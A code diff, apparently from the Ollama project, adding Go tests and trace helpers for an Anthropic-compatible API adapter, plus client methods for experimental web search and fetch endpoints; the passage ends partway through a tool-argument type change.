+			Model: "test-model",
+			Message: api.Message{
+				Role: "assistant",
+				ToolCalls: []api.ToolCall{
+					{
+						ID: "call_123",
+						Function: api.ToolCallFunction{
+							Name:      "get_weather",
+							Arguments: makeArgs("location", "Paris"),
+						},
+					},
+				},
+			},
+		}
+
+		events := conv.Process(resp)
+
+		var foundToolStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "tool_use" {
+						foundToolStart = true
+						if start.ContentBlock.Input.Len() != 0 {
+							t.Errorf("expected empty input object, got len=%d", start.ContentBlock.Input.Len())
+						}
+
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						input, ok := cb["input"]
+						if !ok {
+							t.Error("content_block_start for tool_use should include 'input' field")
+							continue
+						}
+						inputMap, ok := input.(map[string]any)
+						if !ok {
+							t.Errorf("input field should be an object, got %T", input)
+							continue
+						}
+						if len(inputMap) != 0 {
+							t.Errorf("expected empty input object in content_block_start, got %v", inputMap)
+						}
+					}
+				}
+			}
+		}
+
+		if !foundToolStart {
+			t.Error("expected tool_use content_block_start event")
+		}
+	})
+}
+
+func TestEstimateTokens_SimpleMessage(t *testing.T) {
+	req := CountTokensRequest{
+		Model: "test-model",
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello, world!")},
+		},
+	}
+
+	tokens := estimateTokens(req)
+
+	// "user" (4) + "Hello, world!" (13) = 17 chars / 4 = 4 tokens
+	if tokens < 1 {
+		t.Errorf("expected at least 1 token, got %d", tokens)
+	}
+	// Sanity check: shouldn't be wildly off
+	if tokens > 10 {
+		t.Errorf("expected fewer than 10 tokens for short message, got %d", tokens)
+	}
+}
+
+func TestEstimateTokens_WithSystemPrompt(t *testing.T) {
+	req := CountTokensRequest{
+		Model:  "test-model",
+		System: "You are a helpful assistant.",
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+		},
+	}
+
+	tokens := estimateTokens(req)
+
+	// System prompt adds to count
+	if tokens < 5 {
+		t.Errorf("expected at least 5 tokens with system prompt, got %d", tokens)
+	}
+}
+
+func TestEstimateTokens_WithTools(t *testing.T) {
+	req := CountTokensRequest{
+		Model: "test-model",
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("What's the weather?")},
+		},
+		Tools: []Tool{
+			{
+				Name:        "get_weather",
+				Description: "Get the current weather for a location",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}}}`),
+			},
+		},
+	}
+
+	tokens := estimateTokens(req)
+
+	// Tools add significant content
+	if tokens < 10 {
+		t.Errorf("expected at least 10 tokens with tools, got %d", tokens)
+	}
+}
+
+func TestEstimateTokens_WithThinking(t *testing.T) {
+	req := CountTokensRequest{
+		Model: "test-model",
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:     "thinking",
+						Thinking: ptr("Let me think about this carefully..."),
+					},
+					{
+						Type: "text",
+						Text: ptr("Here is my response."),
+					},
+				},
+			},
+		},
+	}
+
+	tokens := estimateTokens(req)
+
+	// Thinking content should be counted
+	if tokens < 10 {
+		t.Errorf("expected at least 10 tokens with thinking content, got %d", tokens)
+	}
+}
+
+func TestEstimateTokens_EmptyContent(t *testing.T) {
+	req := CountTokensRequest{
+		Model:    "test-model",
+		Messages: []MessageParam{},
+	}
+
+	tokens := estimateTokens(req)
+
+	if tokens != 0 {
+		t.Errorf("expected 0 tokens for empty content, got %d", tokens)
+	}
+}
+
+// Web Search Tests
+
+func TestConvertTool_WebSearch(t *testing.T) {
+	tool := Tool{
+		Type:    "web_search_20250305",
+		Name:    "web_search",
+		MaxUses: 5,
+	}
+
+	result, isServerTool, err := convertTool(tool)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if !isServerTool {
+		t.Error("expected isServerTool to be true for web_search tool")
+	}
+
+	if result.Type != "function" {
+		t.Errorf("expected type 'function', got %q", result.Type)
+	}
+
+	if result.Function.Name != "web_search" {
+		t.Errorf("expected name 'web_search', got %q", result.Function.Name)
+	}
+
+	if result.Function.Description == "" {
+		t.Error("expected non-empty description for web_search tool")
+	}
+
+	// Check that query parameter is defined
+	if result.Function.Parameters.Properties == nil {
+		t.Fatal("expected properties to be defined")
+	}
+
+	queryProp, ok := result.Function.Parameters.Properties.Get("query")
+	if !ok {
+		t.Error("expected 'query' property to be defined")
+	}
+
+	if len(queryProp.Type) == 0 || queryProp.Type[0] != "string" {
+		t.Errorf("expected query type to be 'string', got %v", queryProp.Type)
+	}
+}
+
+func TestConvertTool_RegularTool(t *testing.T) {
+	tool := Tool{
+		Type:        "custom",
+		Name:        "get_weather",
+		Description: "Get the weather",
+		InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}}}`),
+	}
+
+	result, isServerTool, err := convertTool(tool)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if isServerTool {
+		t.Error("expected isServerTool to be false for regular tool")
+	}
+
+	if result.Function.Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", result.Function.Name)
+	}
+}
+
+func TestConvertMessage_ServerToolUse(t *testing.T) {
+	msg := MessageParam{
+		Role: "assistant",
+		Content: []ContentBlock{
+			{
+				Type:  "server_tool_use",
+				ID:    "srvtoolu_123",
+				Name:  "web_search",
+				Input: makeArgs("query", "test query"),
+			},
+		},
+	}
+
+	messages, err := convertMessage(msg)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(messages))
+	}
+
+	if len(messages[0].ToolCalls) != 1 {
+		t.Fatalf("expected 1 tool call, got %d", len(messages[0].ToolCalls))
+	}
+
+	tc := messages[0].ToolCalls[0]
+	if tc.ID != "srvtoolu_123" {
+		t.Errorf("expected tool call ID 'srvtoolu_123', got %q", tc.ID)
+	}
+
+	if tc.Function.Name != "web_search" {
+		t.Errorf("expected tool name 'web_search', got %q", tc.Function.Name)
+	}
+}
+
+func TestConvertMessage_WebSearchToolResult(t *testing.T) {
+	msg := MessageParam{
+		Role: "user",
+		Content: []ContentBlock{
+			{
+				Type:      "web_search_tool_result",
+				ToolUseID: "srvtoolu_123",
+				Content: []any{
+					map[string]any{
+						"type":  "web_search_result",
+						"title": "Test Result",
+						"url":   "https://example.com",
+					},
+				},
+			},
+		},
+	}
+
+	messages, err := convertMessage(msg)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	// Should have a tool result message
+	if len(messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(messages))
+	}
+
+	if messages[0].Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", messages[0].Role)
+	}
+
+	if messages[0].ToolCallID != "srvtoolu_123" {
+		t.Errorf("expected tool_call_id 'srvtoolu_123', got %q", messages[0].ToolCallID)
+	}
+
+	if messages[0].Content == "" {
+		t.Error("expected non-empty content from web search results")
+	}
+}
+
+func TestConvertMessage_WebSearchToolResultEmptyStillCreatesToolMessage(t *testing.T) {
+	msg := MessageParam{
+		Role: "user",
+		Content: []ContentBlock{
+			{
+				Type:      "web_search_tool_result",
+				ToolUseID: "srvtoolu_empty",
+				Content:   []any{},
+			},
+		},
+	}
+
+	messages, err := convertMessage(msg)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(messages))
+	}
+	if messages[0].Role != "tool" {
+		t.Fatalf("expected role tool, got %q", messages[0].Role)
+	}
+	if messages[0].ToolCallID != "srvtoolu_empty" {
+		t.Fatalf("expected tool_call_id srvtoolu_empty, got %q", messages[0].ToolCallID)
+	}
+	if messages[0].Content != "" {
+		t.Fatalf("expected empty content for empty web search results, got %q", messages[0].Content)
+	}
+}
+
+func TestConvertMessage_WebSearchToolResultErrorStillCreatesToolMessage(t *testing.T) {
+	msg := MessageParam{
+		Role: "user",
+		Content: []ContentBlock{
+			{
+				Type:      "web_search_tool_result",
+				ToolUseID: "srvtoolu_error",
+				Content: map[string]any{
+					"type":       "web_search_tool_result_error",
+					"error_code": "max_uses_exceeded",
+				},
+			},
+		},
+	}
+
+	messages, err := convertMessage(msg)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(messages))
+	}
+	if messages[0].Role != "tool" {
+		t.Fatalf("expected role tool, got %q", messages[0].Role)
+	}
+	if messages[0].ToolCallID != "srvtoolu_error" {
+		t.Fatalf("expected tool_call_id srvtoolu_error, got %q", messages[0].ToolCallID)
+	}
+	if !strings.Contains(messages[0].Content, "max_uses_exceeded") {
+		t.Fatalf("expected error code in converted tool content, got %q", messages[0].Content)
+	}
+}
+
+func TestConvertOllamaToAnthropicResults(t *testing.T) {
+	ollamaResp := &OllamaWebSearchResponse{
+		Results: []OllamaWebSearchResult{
+			{
+				Title:   "Test Title",
+				URL:     "https://example.com",
+				Content: "Test content",
+			},
+			{
+				Title:   "Another Result",
+				URL:     "https://example.org",
+				Content: "More content",
+			},
+		},
+	}
+
+	results := ConvertOllamaToAnthropicResults(ollamaResp)
+
+	if len(results) != 2 {
+		t.Fatalf("expected 2 results, got %d", len(results))
+	}
+
+	if results[0].Type != "web_search_result" {
+		t.Errorf("expected type 'web_search_result', got %q", results[0].Type)
+	}
+
+	if results[0].Title != "Test Title" {
+		t.Errorf("expected title 'Test Title', got %q", results[0].Title)
+	}
+
+	if results[0].URL != "https://example.com" {
+		t.Errorf("expected URL 'https://example.com', got %q", results[0].URL)
+	}
+}
+
+func TestWebSearchTypes(t *testing.T) {
+	// Test that WebSearchResult serializes correctly
+	result := WebSearchResult{
+		Type:             "web_search_result",
+		URL:              "https://example.com",
+		Title:            "Test",
+		EncryptedContent: "abc123",
+		PageAge:          "2025-01-01",
+	}
+
+	data, err := json.Marshal(result)
+	if err != nil {
+		t.Fatalf("failed to marshal WebSearchResult: %v", err)
+	}
+
+	var unmarshaled WebSearchResult
+	if err := json.Unmarshal(data, &unmarshaled); err != nil {
+		t.Fatalf("failed to unmarshal WebSearchResult: %v", err)
+	}
+
+	if unmarshaled.Type != result.Type {
+		t.Errorf("type mismatch: expected %q, got %q", result.Type, unmarshaled.Type)
+	}
+
+	// Test WebSearchToolResultError
+	errResult := WebSearchToolResultError{
+		Type:      "web_search_tool_result_error",
+		ErrorCode: "max_uses_exceeded",
+	}
+
+	data, err = json.Marshal(errResult)
+	if err != nil {
+		t.Fatalf("failed to marshal WebSearchToolResultError: %v", err)
+	}
+
+	var unmarshaledErr WebSearchToolResultError
+	if err := json.Unmarshal(data, &unmarshaledErr); err != nil {
+		t.Fatalf("failed to unmarshal WebSearchToolResultError: %v", err)
+	}
+
+	if unmarshaledErr.ErrorCode != "max_uses_exceeded" {
+		t.Errorf("error_code mismatch: expected 'max_uses_exceeded', got %q", unmarshaledErr.ErrorCode)
+	}
+}
+
+func TestCitation(t *testing.T) {
+	citation := Citation{
+		Type:           "web_search_result_location",
+		URL:            "https://example.com",
+		Title:          "Example",
+		EncryptedIndex: "enc123",
+		CitedText:      "Some cited text...",
+	}
+
+	data, err := json.Marshal(citation)
+	if err != nil {
+		t.Fatalf("failed to marshal Citation: %v", err)
+	}
+
+	var unmarshaled Citation
+	if err := json.Unmarshal(data, &unmarshaled); err != nil {
+		t.Fatalf("failed to unmarshal Citation: %v", err)
+	}
+
+	if unmarshaled.Type != "web_search_result_location" {
+		t.Errorf("type mismatch: expected 'web_search_result_location', got %q", unmarshaled.Type)
+	}
+
+	if unmarshaled.CitedText != "Some cited text..." {
+		t.Errorf("cited_text mismatch: expected 'Some cited text...', got %q", unmarshaled.CitedText)
+	}
+}

anthropic/trace.go

@@ -0,0 +1,352 @@
+package anthropic
+
+import (
+	"encoding/json"
+	"fmt"
+	"sort"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Trace truncation limits.
+const (
+	TraceMaxStringRunes = 240
+	TraceMaxSliceItems  = 8
+	TraceMaxMapEntries  = 16
+	TraceMaxDepth       = 4
+)
+
+// TraceTruncateString shortens s to TraceMaxStringRunes, appending a count of
+// omitted characters when truncated.
+func TraceTruncateString(s string) string {
+	if len(s) == 0 {
+		return s
+	}
+	runes := []rune(s)
+	if len(runes) <= TraceMaxStringRunes {
+		return s
+	}
+	return fmt.Sprintf("%s...(+%d chars)", string(runes[:TraceMaxStringRunes]), len(runes)-TraceMaxStringRunes)
+}
+
+// TraceJSON round-trips v through JSON and returns a compacted representation.
+func TraceJSON(v any) any {
+	if v == nil {
+		return nil
+	}
+	data, err := json.Marshal(v)
+	if err != nil {
+		return map[string]any{"marshal_error": err.Error(), "type": fmt.Sprintf("%T", v)}
+	}
+	var out any
+	if err := json.Unmarshal(data, &out); err != nil {
+		return TraceTruncateString(string(data))
+	}
+	return TraceCompactValue(out, 0)
+}
+
+// TraceCompactValue recursively truncates strings, slices, and maps for trace
+// output. depth tracks recursion to enforce TraceMaxDepth.
+func TraceCompactValue(v any, depth int) any {
+	if v == nil {
+		return nil
+	}
+	if depth >= TraceMaxDepth {
+		switch t := v.(type) {
+		case string:
+			return TraceTruncateString(t)
+		case []any:
+			return fmt.Sprintf("<array len=%d>", len(t))
+		case map[string]any:
+			return fmt.Sprintf("<object keys=%d>", len(t))
+		default:
+			return fmt.Sprintf("<%T>", v)
+		}
+	}
+	switch t := v.(type) {
+	case string:
+		return TraceTruncateString(t)
+	case []any:
+		limit := min(len(t), TraceMaxSliceItems)
+		out := make([]any, 0, limit+1)
+		for i := range limit {
+			out = append(out, TraceCompactValue(t[i], depth+1))
+		}
+		if len(t) > limit {
+			out = append(out, fmt.Sprintf("... +%d more items", len(t)-limit))
+		}
+		return out
+	case map[string]any:
+		keys := make([]string, 0, len(t))
+		for k := range t {
+			keys = append(keys, k)
+		}
+		sort.Strings(keys)
+		limit := min(len(keys), TraceMaxMapEntries)
+		out := make(map[string]any, limit+1)
+		for i := range limit {
+			out[keys[i]] = TraceCompactValue(t[keys[i]], depth+1)
+		}
+		if len(keys) > limit {
+			out["__truncated_keys"] = len(keys) - limit
+		}
+		return out
+	default:
+		return t
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Anthropic request/response tracing
+// ---------------------------------------------------------------------------
+
+// TraceMessagesRequest returns a compact trace representation of a MessagesRequest.
+func TraceMessagesRequest(r MessagesRequest) map[string]any {
+	return map[string]any{
+		"model":          r.Model,
+		"max_tokens":     r.MaxTokens,
+		"messages":       traceMessageParams(r.Messages),
+		"system":         traceAnthropicContent(r.System),
+		"stream":         r.Stream,
+		"tools":          traceTools(r.Tools),
+		"tool_choice":    TraceJSON(r.ToolChoice),
+		"thinking":       TraceJSON(r.Thinking),
+		"stop_sequences": r.StopSequences,
+		"temperature":    ptrVal(r.Temperature),
+		"top_p":          ptrVal(r.TopP),
+		"top_k":          ptrVal(r.TopK),
+	}
+}
+
+// TraceMessagesResponse returns a compact trace representation of a MessagesResponse.
+func TraceMessagesResponse(r MessagesResponse) map[string]any {
+	return map[string]any{
+		"id":          r.ID,
+		"model":       r.Model,
+		"content":     TraceJSON(r.Content),
+		"stop_reason": r.StopReason,
+		"usage":       r.Usage,
+	}
+}
+
+func traceMessageParams(msgs []MessageParam) []map[string]any {
+	out := make([]map[string]any, 0, len(msgs))
+	for _, m := range msgs {
+		out = append(out, map[string]any{
+			"role":    m.Role,
+			"content": traceAnthropicContent(m.Content),
+		})
+	}
+	return out
+}
+
+func traceAnthropicContent(content any) any {
+	switch c := content.(type) {
+	case nil:
+		return nil
+	case string:
+		return TraceTruncateString(c)
+	case []any:
+		blocks := make([]any, 0, len(c))
+		for _, block := range c {
+			blockMap, ok := block.(map[string]any)
+			if !ok {
+				blocks = append(blocks, TraceCompactValue(block, 0))
+				continue
+			}
+			blocks = append(blocks, traceAnthropicBlock(blockMap))
+		}
+		return blocks
+	default:
+		return TraceJSON(c)
+	}
+}
+
+func traceAnthropicBlock(block map[string]any) map[string]any {
+	blockType, _ := block["type"].(string)
+	out := map[string]any{"type": blockType}
+	switch blockType {
+	case "text":
+		if text, ok := block["text"].(string); ok {
+			out["text"] = TraceTruncateString(text)
+		} else {
+			out["text"] = TraceCompactValue(block["text"], 0)
+		}
+	case "thinking":
+		if thinking, ok := block["thinking"].(string); ok {
+			out["thinking"] = TraceTruncateString(thinking)
+		} else {
+			out["thinking"] = TraceCompactValue(block["thinking"], 0)
+		}
+	case "tool_use", "server_tool_use":
+		out["id"] = block["id"]
+		out["name"] = block["name"]
+		out["input"] = TraceCompactValue(block["input"], 0)
+	case "tool_result", "web_search_tool_result":
+		out["tool_use_id"] = block["tool_use_id"]
+		out["content"] = TraceCompactValue(block["content"], 0)
+	case "image":
+		if source, ok := block["source"].(map[string]any); ok {
+			out["source"] = map[string]any{
+				"type":       source["type"],
+				"media_type": source["media_type"],
+				"url":        source["url"],
+				"data_len":   len(fmt.Sprint(source["data"])),
+			}
+		}
+	default:
+		out["block"] = TraceCompactValue(block, 0)
+	}
+	return out
+}
+
+func traceTools(tools []Tool) []map[string]any {
+	out := make([]map[string]any, 0, len(tools))
+	for _, t := range tools {
+		out = append(out, TraceTool(t))
+	}
+	return out
+}
+
+// TraceTool returns a compact trace representation of an Anthropic Tool.
+func TraceTool(t Tool) map[string]any {
+	return map[string]any{
+		"type":         t.Type,
+		"name":         t.Name,
+		"description":  TraceTruncateString(t.Description),
+		"input_schema": TraceJSON(t.InputSchema),
+		"max_uses":     t.MaxUses,
+	}
+}
+
+// ContentBlockTypes returns the type strings from content (when it's []any blocks).
+func ContentBlockTypes(content any) []string {
+	blocks, ok := content.([]any)
+	if !ok {
+		return nil
+	}
+	types := make([]string, 0, len(blocks))
+	for _, block := range blocks {
+		blockMap, ok := block.(map[string]any)
+		if !ok {
+			types = append(types, fmt.Sprintf("%T", block))
+			continue
+		}
+		t, _ := blockMap["type"].(string)
+		types = append(types, t)
+	}
+	return types
+}
+
+func ptrVal[T any](v *T) any {
+	if v == nil {
+		return nil
+	}
+	return *v
+}
+
+// ---------------------------------------------------------------------------
+// Ollama api.* tracing (shared between anthropic and middleware packages)
+// ---------------------------------------------------------------------------
+
+// TraceChatRequest returns a compact trace representation of an Ollama ChatRequest.
+func TraceChatRequest(req *api.ChatRequest) map[string]any {
+	if req == nil {
+		return nil
+	}
+	stream := false
+	if req.Stream != nil {
+		stream = *req.Stream
+	}
+	return map[string]any{
+		"model":    req.Model,
+		"messages": TraceAPIMessages(req.Messages),
+		"tools":    TraceAPITools(req.Tools),
+		"stream":   stream,
+		"options":  req.Options,
+		"think":    TraceJSON(req.Think),
+	}
+}
+
+// TraceChatResponse returns a compact trace representation of an Ollama ChatResponse.
+func TraceChatResponse(resp api.ChatResponse) map[string]any {
+	return map[string]any{
+		"model":       resp.Model,
+		"done":        resp.Done,
+		"done_reason": resp.DoneReason,
+		"message":     TraceAPIMessage(resp.Message),
+		"metrics":     TraceJSON(resp.Metrics),
+	}
+}
+
+// TraceAPIMessages returns compact trace representations for a slice of api.Message.
+func TraceAPIMessages(msgs []api.Message) []map[string]any {
+	out := make([]map[string]any, 0, len(msgs))
+	for _, m := range msgs {
+		out = append(out, TraceAPIMessage(m))
+	}
+	return out
+}
+
+// TraceAPIMessage returns a compact trace representation of a single api.Message.
+func TraceAPIMessage(m api.Message) map[string]any {
+	return map[string]any{
+		"role":         m.Role,
+		"content":      TraceTruncateString(m.Content),
+		"thinking":     TraceTruncateString(m.Thinking),
+		"images":       traceImageSizes(m.Images),
+		"tool_calls":   traceToolCalls(m.ToolCalls),
+		"tool_name":    m.ToolName,
+		"tool_call_id": m.ToolCallID,
+	}
+}
+
+func traceImageSizes(images []api.ImageData) []int {
+	if len(images) == 0 {
+		return nil
+	}
+	sizes := make([]int, 0, len(images))
+	for _, img := range images {
+		sizes = append(sizes, len(img))
+	}
+	return sizes
+}
+
+// TraceAPITools returns compact trace representations for a slice of api.Tool.
+func TraceAPITools(tools api.Tools) []map[string]any {
+	out := make([]map[string]any, 0, len(tools))
+	for _, t := range tools {
+		out = append(out, TraceAPITool(t))
+	}
+	return out
+}
+
+// TraceAPITool returns a compact trace representation of a single api.Tool.
+func TraceAPITool(t api.Tool) map[string]any {
+	return map[string]any{
+		"type":        t.Type,
+		"name":        t.Function.Name,
+		"description": TraceTruncateString(t.Function.Description),
+		"parameters":  TraceJSON(t.Function.Parameters),
+	}
+}
+
+// TraceToolCall returns a compact trace representation of an api.ToolCall.
+func TraceToolCall(tc api.ToolCall) map[string]any {
+	return map[string]any{
+		"id":   tc.ID,
+		"name": tc.Function.Name,
+		"args": TraceJSON(tc.Function.Arguments),
+	}
+}
+
+func traceToolCalls(tcs []api.ToolCall) []map[string]any {
+	if len(tcs) == 0 {
+		return nil
+	}
+	out := make([]map[string]any, 0, len(tcs))
+	for _, tc := range tcs {
+		out = append(out, TraceToolCall(tc))
+	}
+	return out
+}

api/client.go

@@ -165,7 +165,7 @@ func (c *Client) do(ctx context.Context, method, path string, reqData, respData
 	return nil
 }
 
-const maxBufferSize = 512 * format.KiloByte
+const maxBufferSize = 8 * format.MegaByte
 
 func (c *Client) stream(ctx context.Context, method, path string, data any, fn func([]byte) error) error {
 	var buf io.Reader
@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
 		}
 	}
 
+	if err := scanner.Err(); err != nil {
+		return err
+	}
+
 	return nil
 }
 
@@ -368,6 +372,16 @@ func (c *Client) List(ctx context.Context) (*ListResponse, error) {
 	return &lr, nil
 }
 
+// ModelRecommendationsExperimental lists model recommendations from the local
+// server's experimental recommendations endpoint.
+func (c *Client) ModelRecommendationsExperimental(ctx context.Context) (*ModelRecommendationsResponse, error) {
+	var resp ModelRecommendationsResponse
+	if err := c.do(ctx, http.MethodGet, "/api/experimental/model-recommendations", nil, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
 // ListRunning lists running models.
 func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
 	var lr ProcessResponse
@@ -449,6 +463,36 @@ func (c *Client) Version(ctx context.Context) (string, error) {
 	return version.Version, nil
 }
 
+// CloudStatusExperimental returns whether cloud features are disabled on the server.
+func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse, error) {
+	var status StatusResponse
+	if err := c.do(ctx, http.MethodGet, "/api/status", nil, &status); err != nil {
+		return nil, err
+	}
+
+	return &status, nil
+}
+
+// WebSearchExperimental searches the web through the local server's
+// experimental web search endpoint.
+func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
+	var resp WebSearchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
+// WebFetchExperimental fetches web page content through the local server's
+// experimental web fetch endpoint.
+func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
+	var resp WebFetchResponse
+	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
+		return nil, err
+	}
+	return &resp, nil
+}
+
 // Signout will signout a client for a local ollama server.
 func (c *Client) Signout(ctx context.Context) error {
 	return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)

api/client_test.go

@@ -3,6 +3,7 @@ package api
 import (
 	"encoding/json"
 	"fmt"
+	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/url"
@@ -192,6 +193,35 @@ func TestClientStream(t *testing.T) {
 	}
 }
 
+func TestClientStreamReportsReadErrors(t *testing.T) {
+	client := NewClient(
+		&url.URL{Scheme: "http", Host: "example.com"},
+		&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
+			body := failingReader{
+				data: []byte(`{"message":{"content":"partial"}}` + "\n"),
+				err:  io.ErrUnexpectedEOF,
+			}
+
+			return &http.Response{
+				StatusCode: http.StatusOK,
+				Status:     "200 OK",
+				Body:       io.NopCloser(&body),
+				Header:     make(http.Header),
+			}, nil
+		})},
+	)
+
+	err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
+		return nil
+	})
+	if err == nil {
+		t.Fatal("expected stream read error")
+	}
+	if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
+		t.Fatalf("expected unexpected EOF, got %v", err)
+	}
+}
+
 func TestClientDo(t *testing.T) {
 	testCases := []struct {
 		name           string
@@ -320,3 +350,99 @@ func TestClientDo(t *testing.T) {
 		})
 	}
 }
+
+func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebSearchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebSearchResponse{
+			Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_search" {
+		t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
+	}
+	if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
+	var gotPath string
+	var gotMethod string
+	var gotRequest WebFetchRequest
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		gotPath = r.URL.Path
+		gotMethod = r.Method
+		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
+			t.Fatal(err)
+		}
+		if err := json.NewEncoder(w).Encode(WebFetchResponse{
+			Title:   "Ollama",
+			Content: "models",
+			Links:   []string{"https://ollama.com/library"},
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}))
+	defer ts.Close()
+
+	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
+	resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if gotMethod != http.MethodPost {
+		t.Fatalf("method = %q, want POST", gotMethod)
+	}
+	if gotPath != "/api/experimental/web_fetch" {
+		t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
+	}
+	if gotRequest.URL != "https://ollama.com" {
+		t.Fatalf("request = %#v", gotRequest)
+	}
+	if resp.Title != "Ollama" || resp.Content != "models" {
+		t.Fatalf("response = %#v", resp)
+	}
+}
+
+type roundTripFunc func(*http.Request) (*http.Response, error)
+
+func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+	return f(req)
+}
+
+type failingReader struct {
+	data []byte
+	err  error
+}
+
+func (r *failingReader) Read(p []byte) (int, error) {
+	if len(r.data) > 0 {
+		n := copy(p, r.data)
+		r.data = r.data[n:]
+		return n, nil
+	}
+	return 0, r.err
+}

api/types.go

@@ -3,6 +3,7 @@ package api
 import (
 	"encoding/json"
 	"fmt"
+	"iter"
 	"log/slog"
 	"math"
 	"os"
@@ -14,6 +15,7 @@ import (
 	"github.com/google/uuid"
 
 	"github.com/ollama/ollama/envconfig"
+	"github.com/ollama/ollama/internal/orderedmap"
 	"github.com/ollama/ollama/types/model"
 )
 
@@ -125,6 +127,20 @@ type GenerateRequest struct {
 	// each with an associated log probability. Only applies when Logprobs is true.
 	// Valid values are 0-20. Default is 0 (only return the selected token's logprob).
 	TopLogprobs int `json:"top_logprobs,omitempty"`
+
+	// Experimental: Image generation fields (may change or be removed)
+
+	// Width is the width of the generated image in pixels.
+	// Only used for image generation models.
+	Width int32 `json:"width,omitempty"`
+
+	// Height is the height of the generated image in pixels.
+	// Only used for image generation models.
+	Height int32 `json:"height,omitempty"`
+
+	// Steps is the number of diffusion steps for image generation.
+	// Only used for image generation models.
+	Steps int32 `json:"steps,omitempty"`
 }
 
 // ChatRequest describes a request sent by [Client.Chat].
@@ -227,13 +243,79 @@ type ToolCallFunction struct {
 	Arguments ToolCallFunctionArguments `json:"arguments"`
 }
 
-type ToolCallFunctionArguments map[string]any
+// ToolCallFunctionArguments holds tool call arguments in insertion order.
+type ToolCallFunctionArguments struct {
+	om *orderedmap.Map[string, any]
+}
+
+// NewToolCallFunctionArguments creates a new empty ToolCallFunctionArguments.
+func NewToolCallFunctionArguments() ToolCallFunctionArguments {
+	return ToolCallFunctionArguments{om: orderedmap.New[string, any]()}
+}
+
+// Get retrieves a value by key.
+func (t *ToolCallFunctionArguments) Get(key string) (any, bool) {
+	if t == nil || t.om == nil {
+		return nil, false
+	}
+	return t.om.Get(key)
+}
+
+// Set sets a key-value pair, preserving insertion order.
+func (t *ToolCallFunctionArguments) Set(key string, value any) {
+	if t == nil {
+		return
+	}
+	if t.om == nil {
+		t.om = orderedmap.New[string, any]()
+	}
+	t.om.Set(key, value)
+}
+
+// Len returns the number of arguments.
